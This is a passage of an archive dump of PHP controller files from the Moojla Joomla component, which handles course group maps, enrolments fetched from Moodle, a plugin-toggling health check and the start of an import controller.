$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/course_group_map.php000064400000020442151165724360013210
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Course_group_map Controller
*/
class MoojlaControllerCourse_group_map extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Course_group_maps'; // safeguard for
setting the return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
/***[JCBGUI.admin_view.php_allowedit.135.$$$$]***/
return false;
/***[/JCBGUI$$$$]***/
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.course_group_map.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.course_group_map.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Course_group_map', '',
array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_group_maps'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/course_group_maps.php000064400000022373151165724360013400
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_maps.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Course_group_maps Controller
*/
class MoojlaControllerCourse_group_maps extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_COURSE_GROUP_MAPS';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Course_group_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
/***[JCBGUI.admin_view.php_controller_list.135.$$$$]***/
function migrateFromJoomdle()
{
JLoader::register('MoojlaModelCourse_group_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/course_group_map.php');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('remoteid'));
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('published') . ' =
1');
$db->setQuery($query);
$remoteids = $db->loadColumn();
$counter = 0;
$msgtype = 'success';
try
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__joomdle_course_groups'));
$query->where($db->quoteName('course_id') . ' IN
(' . implode(',', $remoteids) . ')');
$db->setQuery($query);
$joomdle_maps = $db->loadAssocList();
/*$joomdle_maps = array(
array(
'id' => 1,
'course_id' => 124,
'group_id' => 52,
'type' => 'teacher'
),
array(
'id' => 2,
'course_id' => 195,
'group_id' => 143,
'type' => 'student'
),
array(
'id' => 3,
'course_id' => 195,
'group_id' => 142,
'type' => 'teacher'
),
);*/
foreach($joomdle_maps as $row)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_course_group_map'));
$query->where($db->quoteName('published') . '
= 1');
$query->where($db->quoteName('moojlacourse') .
' = ' . $row['course_id']);
$query->where($db->quoteName('role') . ' =
' . ($row['type'] == 'teacher' ? 3 : 5));
$db->setQuery($query);
$found = $db->loadAssocList();
if(!$found)
{
$cgm = new MoojlaModelCourse_group_map;
$data = array(
'course_group' => $row['group_id'],
'moojlacourse' => $row['course_id'],
'role' => ($row['type'] ==
'teacher' ? 3 : 5)
);
$cgm->save($data);
$counter += 1;
}
}
$message =
JText::sprintf('COM_MOOJLA_S_GROUP_MAP_MIGRATED_FROM_JOOMDLE_SUCCESSFULLY',
$counter);
}
catch(Exception $e)
{
$message = $e->getMessage();
$msgtype = 'error';
// dump($e->getMessage(), 'fail');
}
$app = JFactory::getApplication();
$app->redirect(JRoute::_("index.php?option=com_moojla&view=course_group_maps",
false), $message, $msgtype);
}
function fetch()
{
$params = JComponentHelper::getParams('com_moojla');
$step = $params->get('coursegroupferchstep', 5);
$logpath = trim($params->get('coursegrouplog'));
JLoader::register('MoojlaModelCourse_group_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/course_group_map.php');
$sql = "
SELECT
SUBSTRING_INDEX(t1.row, '-', 1) as remoteid,
SUBSTRING_INDEX(t1.row, '-', -1) as role
FROM
(
SELECT
CONCAT(c.remoteid, '-', r.role) AS ROW
FROM
`#__moojla_course` AS c
CROSS JOIN(
SELECT
3 AS role
UNION
SELECT
3
UNION
SELECT
5
) AS r
WHERE c.published = 1
) AS t1
WHERE t1.row NOT IN
(
SELECT
CONCAT(cgm.moojlacourse, '-', cgm.role) AS er
FROM
`#__moojla_course_group_map` AS cgm
INNER JOIN `#__usergroups` AS ug
ON ug.id = cgm.course_group
WHERE cgm.published = 1
)";
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query = $sql;
$db->setQuery($query);
$not_mapped = $db->loadAssocList();
$not_mapped_remoteids = array_column($not_mapped,
'remoteid');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->clear();
$query->select($db->quoteName( array('remoteid',
'shortname')));
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('published') . ' =
1');
$query->where($db->quoteName('remoteid') . ' IN
(' . implode(',', $not_mapped_remoteids) . ')');
$db->setQuery($query);
$not_mapped_names = $db->loadAssocList('remoteid');
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
if(isset($_GET['c']))
$c = $_GET['c'];
else
$c = 0;
$app = JFactory::getApplication();
foreach($not_mapped as $np)
{
$course_name =
$not_mapped_names[$np['remoteid']]['shortname'];
$group_name = $course_name . ' (' .($np['role']
== 3 ? 'TEACHERS' : 'STUDENTS') . ')';
$group_id = $dispatcher->trigger("addGroup",
array($np['remoteid'], $group_name, ($np['role'] == 3 ?
'teachers' : 'students')));
$cgmap = new MoojlaModelCourse_group_map;
$data = array(
'moojlacourse' => $np['remoteid'],
'course_group' => current($group_id),
'role' => $np['role']
);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('id'));
$query->from($db->quoteName('#__moojla_course_group_map'));
$query->where($db->quoteName('moojlacourse') . '
= ' . $db->quote($np['remoteid']));
$query->where($db->quoteName('role') . ' =
' . $np['role']);
$query->where($db->quoteName('published') . ' =
1');
$db->setQuery($query);
$exist = $db->loadResult();
if($exist)
{
$data['id'] = $exist;
}
$date = new DateTime();
$date = $date->format("y:m:d h:i:s");
if($cgmap->save($data))
{
if($logpath)
{
file_put_contents($logpath, print_r($date, True).PHP_EOL,
FILE_APPEND);
file_put_contents($logpath, "Added data:
".print_r($data, True).PHP_EOL, FILE_APPEND);
}
}
else
{
if($logpath)
{
file_put_contents($logpath, print_r($date, True).PHP_EOL,
FILE_APPEND);
file_put_contents($logpath, "Failed and error is:
".print_r($cgmap->getError(), True).PHP_EOL, FILE_APPEND);
}
}
$c += 1;
if($c % $step == 0)
{
//
$app->redirect(JRoute::_("index.php?option=com_moojla&view=course_group_maps&task=course_group_maps.fetch&c=$c",
false));
$context = stream_context_create(
array(
'http' => array(
'follow_location' => false
)
)
);
$content =
file_get_contents(JRoute::_("index.php?option=com_moojla&view=course_group_maps&task=course_group_maps.fetch&c=$c",
false), false, $context);
}
}
$counter = count($not_mapped);
$message =
JText::sprintf('COM_MOOJLA_S_GROUP_MAP_ADDED_SUCCESSFULLY',
$counter);
$app = JFactory::getApplication();
$app->redirect(JRoute::_("index.php?option=com_moojla&view=course_group_maps",
false), $message, 'success');
}
/***[/JCBGUI$$$$]***/
}
controllers/enrolment.php000064400000021002151165724360011633
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolment.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Enrolment Controller
*/
class MoojlaControllerEnrolment extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Enrolments'; // safeguard for setting
the return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
/***[JCBGUI.admin_view.php_allowadd.139.$$$$]***/
JFactory::getApplication()->enqueueMessage('you shouldn\'t
have access to this section', 'error');
return false;/***[/JCBGUI$$$$]***/
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
/***[JCBGUI.admin_view.php_allowedit.139.$$$$]***/
JFactory::getApplication()->enqueueMessage('you shouldn\'t
have access to this section', 'error');
return false;/***[/JCBGUI$$$$]***/
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.enrolment.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.enrolment.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Enrolment', '',
array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=enrolments'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/enrolments.php000064400000012757151165724360012037
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolments.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Enrolments Controller
*/
class MoojlaControllerEnrolments extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_ENROLMENTS';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Enrolment', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
/***[JCBGUI.admin_view.php_controller_list.139.$$$$]***/
public function fetchEnrolments()
{
$params = JComponentHelper::getParams('com_moojla');
$total_fetch_enrolment =
$params->get('total_fetch_enrolment', 1000);
$number_per_request_fetch_enrolment =
$params->get('number_per_request_fetch_enrolment', 50);
if (isset($_GET['c'])) {
$c = $_GET['c'];
} else {
$c = 0;
}
$progress_percent = (($c / $total_fetch_enrolment) * 100);
echo '<div class="progress">
<div class="progress-bar"
role="progressbar" aria-valuenow="70"
aria-valuemin="0"
aria-valuemax="100" style="
width:' . $progress_percent . '%;
float: left;
height: 100%;
font-size: 12px;
line-height: 20px;
color: #fff;
text-align: center;
background-color: #337ab7;
-webkit-box-shadow: inset 0 -1px 0
rgba(0,0,0,.15);
box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
-webkit-transition: width .6s ease;
-o-transition: width .6s ease;
transition: width .6s ease;">
' . floor($progress_percent) . '%
</div>
</div>';
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/enrolment.php";
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$user = JFactory::getUser();
$dataObj = array(
"wsfunction" =>
"moojla_get_multiple_course_users",
"moodlewsrestformat" => "json",
);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('remoteid',
'id'));
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('published') . ' =
1');
$db->setQuery($query);
$remoteids = $db->loadAssocList();
$chunked_remoteids = array_chunk($remoteids, 100, true);
foreach($chunked_remoteids as $chindex => $chremoteids)
{
$dataObj['courseids'] = $chremoteids;
$enrolments =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
foreach($enrolments as $enrolment)
{
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
foreach($enrolment->enrolments as $enrol)
{
$status = $dispatcher->trigger("addEnrolment",
array($enrol->courseid, $enrolment->userid, $enrol->roleid,
$enrol->timecreated));
if($status[0])
{
$c++;
if ($c == $total_fetch_enrolment) {
break 3;
}
if ($number_per_request_fetch_enrolment != -1 &&
$number_per_request_fetch_enrolment != 0){
if ($c % $number_per_request_fetch_enrolment == 0) {
echo "<script>window.location =
'/administrator/index.php?option=com_moojla&view=enrolments&task=enrolments.fetchEnrolments&c=$c'</script>";
return 0;
}
}
}
}
}
}
$app = JFactory::getApplication();
$message = $c . ' ' .
JText::_('COM_MOOJLA_ENROLMENTS_FETCHED'); // translate_need
$app->redirect(JRoute::_("index.php?option=com_moojla&view=enrolments",
false), $message, 'message');
return true;
}/***[/JCBGUI$$$$]***/
}
controllers/healthcheck.php000064400000004121151165724360012076
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage healthcheck.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Healthcheck Controller
*/
class MoojlaControllerHealthcheck extends JControllerLegacy
{
public function __construct($config)
{
parent::__construct($config);
}
public function dashboard()
{
$this->setRedirect(JRoute::_('index.php?option=com_moojla',
false));
return;
}
/***[JCBGUI.custom_admin_view.php_controller.1.$$$$]***/
function jpluginActionTask(){
$elm = $this->input->get('elm');
$type = $this->input->get('type');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$fields = array(
$db->quoteName('enabled') . ' = ' .
$db->quote($type),
);
$conditions = array(
$db->quoteName('name') . ' = ' .
$db->quote('plg_' . $elm),
);
$query->update($db->quoteName('#__extensions'))->set($fields)->where($conditions);
$db->setQuery($query);
// echo $query->__toString();
$result = $db->execute();
return true;
}/***[/JCBGUI$$$$]***/
}
controllers/import.php000064400000004143151165724360011151 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage import.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
